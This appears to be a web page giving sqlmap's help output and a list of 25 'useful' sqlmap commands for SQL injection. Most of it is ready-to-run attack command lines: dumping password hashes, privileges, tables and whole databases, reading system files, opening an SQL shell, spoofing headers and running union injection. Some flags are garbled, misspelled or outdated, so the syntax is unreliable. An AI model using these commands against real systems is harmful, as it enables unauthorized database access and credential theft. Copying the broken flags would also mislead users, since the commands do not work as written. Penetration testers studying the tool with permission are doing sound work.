Top 25 useful sqlmap commands

 

Tools included in the sqlmap package

sqlmap – automatic SQL injection tool

root@kali:~# sqlmap --help

        ___

       __H__

 ___ ___[)]_____ ___ ___  {1.2.11#stable}

|_ -| . [(]     | .'| . |

|___|_  [,]_|_|_|__,|  _|

      |_|V          |_|   http://sqlmap.org

Usage: python sqlmap [options]

Options:

  -h, --help            Show basic help message and exit

  -hh                   Show advanced help message and exit

  --version             Show program's version number and exit

  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:

    At least one of these options has to be provided to define the

    target(s)

    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")

    -g GOOGLEDORK       Process Google dork results as target URLs

  Request:

    These options can be used to specify how to connect to the target URL

    --data=DATA         Data string to be sent through POST (e.g. "id=1")

    --cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")

    --random-agent      Use randomly selected HTTP User-Agent header value

    --proxy=PROXY       Use a proxy to connect to the target URL

    --tor               Use Tor anonymity network

    --check-tor         Check to see if Tor is used properly

  Injection:

    These options can be used to specify which parameters to test for,

    provide custom injection payloads and optional tampering scripts

    -p TESTPARAMETER    Testable parameter(s)

    --dbms=DBMS         Force back-end DBMS to provided value

  Detection:

    These options can be used to customize the detection phase

    --level=LEVEL       Level of tests to perform (1-5, default 1)

    --risk=RISK         Risk of tests to perform (1-3, default 1)

  Techniques:

    These options can be used to tweak testing of specific SQL injection

    techniques

    --technique=TECH    SQL injection techniques to use (default "BEUSTQ")

  Enumeration:

    These options can be used to enumerate the back-end database

    management system information, structure and data contained in the

    tables. Moreover you can run your own SQL statements

    -a, --all           Retrieve everything

    -b, --banner        Retrieve DBMS banner

    --current-user      Retrieve DBMS current user

    --current-db        Retrieve DBMS current database

    --passwords         Enumerate DBMS users password hashes

    --tables            Enumerate DBMS database tables

    --columns           Enumerate DBMS database table columns

    --schema            Enumerate DBMS schema

    --dump              Dump DBMS database table entries

    --dump-all          Dump all DBMS databases tables entries

    -D DB               DBMS database to enumerate

    -T TBL              DBMS database table(s) to enumerate

    -C COL              DBMS database table column(s) to enumerate

  Operating system access:

    These options can be used to access the back-end database management

    system underlying operating system

    --os-shell          Prompt for an interactive operating system shell

    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC

  General:

    These options can be used to set some general working parameters

    --batch             Never ask for user input, use the default behavior

    --flush-session     Flush session files for current target

  Miscellaneous:

    --sqlmap-shell      Prompt for an interactive sqlmap shell

    --wizard            Simple wizard interface for beginner users

sqlmap Usage Example

Attack the given URL (-u “http://192.168.1.250/?p=1&forumaction=search”) and extract the

 database names (–dbs):

root@kali:~# sqlmap -u "http://192.168.1.250/?p=1&forumaction=search" --dbs

        ___

       __H__

 ___ ___[)]_____ ___ ___  {1.2.11#stable}

|_ -| . ["]     | .'| . |

|___|_  ["]_|_|_|__,|  _|

      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking

 targets without prior mutual consent is illegal. 

It is the end user's responsibility to obey all applicable local, 

state and federal laws. Developers assume no liability and are not responsible 

for any misuse or damage caused by this program

 

 

Top 25 useful sqlmap commands

 

Some usefull sqlmap command for testing SQL injection vulnerability.

1.Analyzing the current user is dba

python sqlmap.py -u “url” –is-dba -v 1

2) — users: user list database management system

python sqlmap.py -u “url” –users -v 0

3) — passwords: Database user password (hash)

python sqlmap.py -u “url” –passwords -v 0

python sqlmap.py -u “url” –passwords -U sa -v 0

4) To view the user permissions

python sqlmap.py -u “url” –privileges -v 0

python sqlmap.py -u “url” –privileges -U postgres -v 0

5) — dbs can use the database

python sqlmap.py -u “url” –dbs -v 0

6) — tables column in a table

python sqlmap.py -u “url” –tables -D “information_scheam”

-D: Specifies the name of the data

7) — columns are listed in the table column names

python sqlmap.py -u “url” –columns -T “user” -D “mysql” -v 1

-T: Specify the table name, -D: Specifies the library name

8) — dump the contents of the column specified in the list

python sqlmap.py -u “url” –dump -T “users” -D “testdb”

-C: You can specify fields

The specified column in the range of 2-4

python sqlmap.py -u “url” –dump -T “users” -D “testdb” –start 2 –stop 4 -v 0

9) — dumap-all List all databases, all tables content

python sqlmap.py -u “url” –dump-all -v 0

Only lists the contents of the user’s own new database and tables

python sqlmap.py -u “url” –dump-all –exclude-sysdbs -v 0

10) — file to read the content of the document [load_file () function]

python sqlmap.py -u “url” –file / etc / password

11) execute SQL

python sqlmap.py -u “url” –sql-shell

12) -p parameter specified

python sqlmap.py -u “url” -v 1 -p “id”

You can specify multiple -p parameter -p “cat, id”

13) POST submission

python sqlmap.py -u “url” –method POST –data “id = 1”

14) COOKIE Submit

python sqlmap.py -u “url” –cookie “id = 1” -v 1

cookie value can be crawled by the TamperData

15) refer to deceive

python sqlmap.py -u “url” –refer “url” -v 3

16) using a custom user-agent or user-agents.txt

python sqlmap.py -u “url” –user-agent “Mozilla / 4.0 (compatible; MSIE 7.0; Windows NT 5.1)” -v 3

python sqlmap.py -u “url” -v 1 -a “./txt/user-agents.txt”

17) use of multithreading guess solution

python sqlmap.py -u “url” -v 1 –current-user –threads 3

18) specify the database, bypassing the automatic detection SQLMAP

python sqlmap.py -u “url” -v 2 –dbms “PostgreSQL”

19) Specifies the operating system automatically detects the bypass SQLMAP

python sqlmap.py -u “url” -v 2 –os “Windows”

20) — prefix and –postfix custom payload

python sqlmap.py -u “url” -v 3 -p “id” –prefix ” ‘” –postfix “and’ test ‘=’ test”

21) union injection test

python sqlmap.py -u “url” –union-test -v -1

22) with the order by

python sqlmap.py -u “url” –union-test –union-tech orderby -v 1

23) python sqlmap.py -u “url” -v 1 –union-use –banner

24) python sqlmap.py -u “url” -v 5 –union-use –current-user

25) python sqlmap.py -u “url” -v 1 –union-use –dbs